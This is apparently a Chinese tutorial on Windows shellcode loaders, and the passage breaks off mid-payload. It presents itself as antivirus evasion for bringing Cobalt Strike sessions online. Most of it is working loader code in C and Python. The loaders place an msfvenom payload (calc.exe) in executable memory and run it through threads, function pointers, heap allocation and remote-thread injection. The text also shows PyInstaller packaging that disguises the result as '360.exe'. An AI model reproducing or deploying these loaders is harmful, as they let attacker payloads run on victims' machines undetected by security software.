Shellcode 什么是Shellcode Shellcode 是一种特殊的二进制代码, 它利用已知的特定于平台的机制来执行特定的操作(创建进程,启动TCP连接等)。Windows shellcode通常使用TEB(线程环境块)和PEB(进程环境块)来查找加载的系统库(kernel32.dll,kernelbase.dll或ntdll.dll)的地址,然后“浏览”它们以查找LoadLibrary和GetProcAddress函数的地址,然后可以使用这些地址来定位其他函数。例如获取系统权限、建立远程访问通道、执行恶意代码等. Shellcode 的名称来源于其最常见的用途之一,即在成功利用后注入代码来获取系统shell的控制权
Shellcode是一个引导代码,
1 exe文件-->硬盘-->把exe内容,读取到内存中-->转成二进制指令-->cpu运行
Shellcode 通常以二进制格式存储,因为它需要直接由计算机的中央处理单元(CPU)执行. 这与源代码或文本文件不同,这些文件需要编译或解释成机器码才能执行.
在一般情况下, Shellcode 可能以十六进制字符串的形式出现 ,但在运行时,这些字符串通常会被解析为二进制数据.要使用 Shellcode,通常需要将它嵌入到合适的载体中或以其他方式将其传递给目标系统,以便执行其中的指令.
为什么有Shellcode 如果只是针对免杀而言, Shellcode的出现可以帮助我们进行各种不同方式上线cs, 从而解决了只有exe上线做免杀的那几种受限的方法, 提供更多不同的免杀处理方式
Shellcode如何运行 上面我们了解到, 一般情况下我们拿到的 Shellcode, 要么是一个16进制字符串, 要么是一个二进制文件, 他们都是不能单独直接可以运行的文件, 所以我们需要借助加载器实现Shellcode在目标机器中运行
Shellcode加载器
可以运行以十六进制字符串表示的shellcode的工具
加载器的基本流程 首先Shellcode加载器既然是通过代码编写, 那么在理论上不同编程语言都可以编写.
整个Shellcode想要执行, 需要加载器做那些事情呢? 由于Shellcode直接由cpu执行, 那么回想一个程序是怎么跑起来的? 首先程序运行产生的数据一定是在内存中, 数据从内存中取出来, 翻译成指令, cpu执行这些指令
所以我的加载器, 需要实现的功能就是
开辟内存
把Shellcode放到这块内存中
想办法让这块内存中的Shellcode被cpu执行回调函数执行
既然需要将Shellcode放到内存中那必定离不开Windows底层的东西.Windows专门提供了相关API供我们和系统底层交互
VirtualAlloc函数 VirtualAlloc
是Windows操作系统和中的一个函数,用于在当前进程的虚拟地址空间中分配内存,它是一种用于动态内存分配的重要函数,适用于在运行时分配内存块的情况.
1 2 3 4 5 6 7 LPVOID VirtualAlloc ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect )
flAllocationType
可能值包括:
MEM_COMMIT (0x1000)
物理页面分配给内存中的一个或多个页,并将这些页的内容初始化为零.如果同时指定了 MEM_RESERVE,则系统会保留这些页的地址空间而不将它们分配给任何物理页面.
MEM_RESERVE (0x2000)
保留指定地址空间,不分配物理内存.这样可以阻止其他内存分配函数malloc和LocalAlloc等再使用已保留的内存范围,直到它被释放.当使用上面的VirtualAlloc函数保留了一段地址空间后,接下还你还可以继续多次调用同样的函数提交这段地址空间中的不同页面.
MEM_RESET (0x80000)
将分配的页面的内容初始化为零.这个标志仅在使用MEM_COMMIT 标志时才有意义.
flProtect
可能值包括:
PAGE_EXECUTE (0x10)
允许页面被执行.
PAGE_EXECUTE_READ (0x20)
允许页面被执行和读取.
PAGE_EXECUTE_READWRITE (0x40)
允许页面被执行、读取和写入.可读可写可执行
PAGE_EXECUTE_WRITECOPY (0x80)
允许页面被执行和写入.页面内容可以被其他进程写入
PAGE_READONLY (0x02)
允许页面被读取
PAGE_READWRITE (0x04)
允许页面被读取和写入
PAGE_WRITECOPY (0x08)
允许页面被写入.页面内容可以被其他进程写入
VirtualAlloc
函数可以用于多种用途,包括分配可执行代码、数据、堆、栈等.通常,在分配可执行代码时,可将flProtect
设置为PAGE_EXECUTE_READWRITE
或类似的值,以便在分配的内存上执行代码.
Memcpy函数 Memcpy是C标准库中的一个函数,用于将内存块中的内容从一个位置复制到另一个位置.
1 2 3 4 5 void *memcpy ( void * _Dst, void const * _Src, size_t _Size ) ;
现在内存相关的操作, 这些函数都可以实现了, 就差怎么执行Shellcode了, 执行Shellcode的方式很多, 后
面会专门拿出来总结都有哪些, 当下我们使用 创建线程 运行我们的Shellcode, 这就需要 CreateThread
CreateThread CreateThread
是Windows API中用于创建新线程的函数.
1 2 3 4 5 6 7 8 9 HANDLE CreateThread ( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ) ;
dwCreationFlags
常见的标志有:
0
默认标志,表示线程立即可执行.
CREATE_SUSPENDED (0x00000004)
创建后线程处于挂起状态,需要调用ResumeThread
才能执行.
C语言加载器 windows api函数我们了解了, 但是如何使用这些函数的? 用什么编程语言呢?自然是c语言啦, 在c语言中可以很方便的调用 windows api函数, 帮助我们编写Shellcode加载器
加载器代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ┌──(kali㉿kali)-[~/Desktop] └─$ msfvenom -p windows/x64/exec CMD=calc.exe -f c >shellcode.c [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch : x64 from the payload No encoder specified, outputting raw payload Payload size: 276 bytes Final size of c file: 1188 bytes ┌──(kali㉿kali)-[~/Desktop] └─$ ls 'OSCP Like Machines' shellcode.c┌──(kali㉿kali)-[~/Desktop] └─$ cat shellcode.c unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #include <windows.h> int main () { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; LPVOID addr = VirtualAlloc (NULL , sizeof (buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (addr == NULL ) { return 0 ; } memcpy (addr, buf, sizeof (buf)); HANDLE hThread = CreateThread (NULL ,NULL , (LPTHREAD_START_ROUTINE)addr,NULL ,NULL ,0 ); WaitForSingleObject (hThread, INFINITE); CloseHandle (hThread); }
Python语言加载器 加载器代码 实际上还是借助那些windows api , 但是copy内存的上面是c标准库的函数, 实际上windows 自带的也有copy内存的函数, 那么接下来的编写流程也非常清楚了, 就是如何通过Python代码实现上述那些函数的调用, 以及在Python中16进制的Shellcode是如何字面量定义的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import ctypesVirtualAlloc = ctypes.windll.kernel32.VirtualAlloc RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory CreateThread = ctypes.windll.kernel32.CreateThread WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject buf = b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" sc = bytearray (buf) VirtualAlloc.restype = ctypes.c_uint64 p = VirtualAlloc(0 , len (sc), 0x3000 , 0x40 ) buf_pointer = (ctypes.c_char * len (sc)).from_buffer(sc) RtlMoveMemory(ctypes.c_void_p(p), buf_pointer, ctypes.c_int(len (sc))) h = CreateThread(None , 0 , ctypes.c_void_p(p), None , 0 , None ) WaitForSingleObject(h, ctypes.c_int(0xFFFFFFFF ))
import ctypes
: 导入 ctypes 模块,这个模块提供了与 C 语言兼容的数据类型和函数调用方式.
VirtualAlloc
,RtlMoveMemory
,CreateThread
,WaitForSingleObject
:这些变量是通过 ctypes获取 kernel32.dll 中相关函数的句柄,用于内存操作和线程创建等操作.
buf = b"\xfc...."
定义了一个包含 Shellcode 的字节数组.
sc = bytearray(buf)
:将 Shellcode 转换为 bytearray 类型.
VirtualAlloc.restype = ctypes.c_uint64
设置VirtualAlloc
函数的返回类型为c_uint64
p = VirtualAlloc(0, len(sc), 0x3000, 0x40)
:调用VirtualAlloc
分配内存,用于存放Shellcode.
0x3000
表示分配提交MEM_COMMIT
和保留MEM_RESERVE
的内存
0x40
表示分配可执行
buf_pointer = (ctypes.c_char * len(sc)).from_buffer(sc)
将Shellcode的内容指向指针
RtlMoveMemory(ctypes.c_void_p(p), buf_pointer, ctypes.c_int(len(sc)))
使用RtlMoveMemory
函数将Shellcode复制到申请的内存中.
h = CreateThread(None, 0, ctypes.c_void_p(p), None, 0, None)
调用CreateThread
创建一个新线程,将刚才分配的内存作为线程的起始地址
WaitForSingleObject(h, ctypes.c_int(0xFFFFFFFF))
:h
创建的线程的句柄,ctypes.c_int(0xFFFFFFFF)
表示无限期等待这个线程完成
Pyinstaller打包 1 2 3 4 5 6 7 8 9 python38 -m pip install pyinstaller tinyaes -F 打包成一个exe文件 -w不显示黑窗口 (默认会显示) , 也可以用--noconsole参数 -i指定图标 , .ico文件或者是exe文件 , 会自动提取exe文件的图标 (不推荐图标) -n指定打包好的文件名 --clean清除上一次打包的文件 --keycjiurfe11a混淆代码功能 (需要安装tinyaes) pyinstaller -F -w shellcode.py -i "D:\\Penetration\\BypassAV\\SigThief-master\\sign_exe\\360.exe" -n 360.exe --clean --key cbeugtbutrh
打包好的程序在dist
目录下 , dist
是distribution
的简写 .为发行版本.
py不支持交叉编译 ,就是Windows你只能打包成exe , 不能打包成Linux上的可执行二进制文件
内存申请函数 VirtualAlloc函数 VirtualAllocEx函数 区别 VirtualAllocEx
和VirtualAlloc
都是Windows操作系统中的内存分配函数,但他们在使用场景和功能上有一些不同.
VirtualAlloc
用于在当前进程的虚拟地址空间中分配内存.他是一个进程内存分配函数,用于动态分配内存块,供当前进程使用.可以通过设置内存保护属性来指定分配内存的权限,例如:可读写、可执行等.
1 LPVOID pMemory = VirtualAlloc (NULL , 4096 , MEM_COMMIT, PAGE_READWRITE);
VirtualAllocEx
用于在其他进程的虚拟地址空间中分配内存,他是一个跨进程的内存分配函数,通常与其他进程间的数据交换、远程线程创建等操作一起使用.可以使用此函数向其他进程注入代码、数据等.
1 LPVOID pRemoteMemory = VirtualAllocEx (hProcess, NULL , 4096 , MEM_COMMIT, PAGE_READWRITE);
总结而言,VirtualAlloc
主要用于当前进程内分配内存,而VirtualAllocEx
则主要用于在其他进程内分配内存.他们都提供了灵活的内存分配方式,但需要根据实际需求选择适当的函数.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #include <windows.h> int main () { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; HANDLE hProcess = GetCurrentProcess (); LPVOID pRemoteMemory = VirtualAllocEx (hProcess, NULL ,sizeof (buf), MEM_COMMIT, PAGE_READWRITE); if (pRemoteMemory != nullptr ) { WriteProcessMemory (hProcess, pRemoteMemory, buf, sizeof (buf), NULL ); DWORD oldProtect; VirtualProtectEx (hProcess, pRemoteMemory, sizeof (buf), PAGE_EXECUTE_READ, &oldProtect); HANDLE hRemoteThread = CreateRemoteThread (hProcess, NULL , 0 , (LPTHREAD_START_ROUTINE)pRemoteMemory, NULL , 0 , NULL ); WaitForSingleObject (hRemoteThread, INFINITE); VirtualFreeEx (hProcess, pRemoteMemory, 0 , MEM_RELEASE); CloseHandle (hProcess); } CloseHandle (hProcess); return 0 ; }
malloc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #include <windows.h> int main () { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; void * pMemory = malloc (sizeof (buf)); if (pMemory != NULL ) { memcpy (pMemory, buf, sizeof (buf)); DWORD oldProtect; VirtualProtect (pMemory, sizeof (buf), PAGE_EXECUTE_READWRITE, &oldProtect); ((void (*)())pMemory)(); free (pMemory); } return 0 ; }
HeapAlloc函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <windows.h> int main () { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; HANDLE hHrp = HeapCreate (HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0 , 0 ); PVOID Mptr = HeapAlloc (hHrp, 0 , sizeof (buf)); RtlCopyMemory (Mptr, buf, sizeof (buf)); DWORD dwThreadId = 0 ; HANDLE hThread = CreateThread (NULL , NULL ,(LPTHREAD_START_ROUTINE)Mptr, NULL , NULL , &dwThreadId); WaitForSingleObject (hThread, INFINITE); return 0 ; }
内存属性修改 使用VirtualAlloc
函数分配可读可写不可执行的内存,填充shellcode,然后修改内存属性为可执行,最后执行shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #include <windows.h> #include <iostream> int main () { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; LPVOID pMemory = VirtualAlloc (NULL , sizeof (buf), MEM_COMMIT, PAGE_READWRITE); if (pMemory != nullptr ) { std::memcpy (pMemory, buf, sizeof (buf)); DWORD oldProtect; VirtualProtect (pMemory, sizeof (buf), PAGE_EXECUTE_READ, &oldProtect); ((void (*)())pMemory)(); VirtualFree (pMemory, 0 , MEM_RELEASE); } return 0 ; }
释放内存
VirtualFree
是⼀个WinAPI
,用于释放之前分配的内存.该函数应仅在有效载荷完全执行完成后调用,否则可能会释放有效载荷的内容并使进程崩溃.
1 2 3 4 5 BOOL VirtualFree ( [in] LPVOID lpAddress, [in] SIZE_T dwSize, [in] DWORD dwFreeType ) ;
VirtualFree采用要释放的分配内存的基地址(lpAddress)、要释放的内存大小(dwSize)和释放操作的类型(dwFreeType可以是以下标志之⼀):
MEM_DECOMMIT
该VirtualFree
调用将释放物理内存,而不会释放与其链接的虚拟地址空间. 因此,虚拟地址空间将来仍可用于分配内存,但与其链接的页面不再受物理内存支持.
MEM_RELEASE
虚拟地址空间和与分配的虚拟内存关联的物理内存均被释放.请注意,根据 Microsoft 的文档,使用此标志时,参数dwSize必须为 0
注入执行 指针执行 申请内存 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #include <windows.h> int main () { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; LPVOID Memory = VirtualAlloc (NULL , sizeof (buf), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (Memory == NULL ) { return 0 ; } memcpy (Memory, buf, sizeof (buf)); ((void (*)())Memory)(); return 0 ; }
(void(*)())
是一个函数指针类型的强制转换, 该函数指针指向一个没有参数且返回值类型为void
的函数,也就是说这行代码将Memory
的地址转换为一个函数指针,然后调用该指针所指向的函数
修改内存属性 既然buf
都已经在内存当中了,为什么我们还需要使用VirtualAlloc()
去申请内存呢?直接删掉VirtualAlloc()
后执行.发现运行后无反应.这是因为字符串在内存中只有可读的权限并没有可执行的权限,所以我们可以修改内存属性.
1 2 3 4 5 6 7 8 9 10 11 12 #include <windows.h> int main () { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1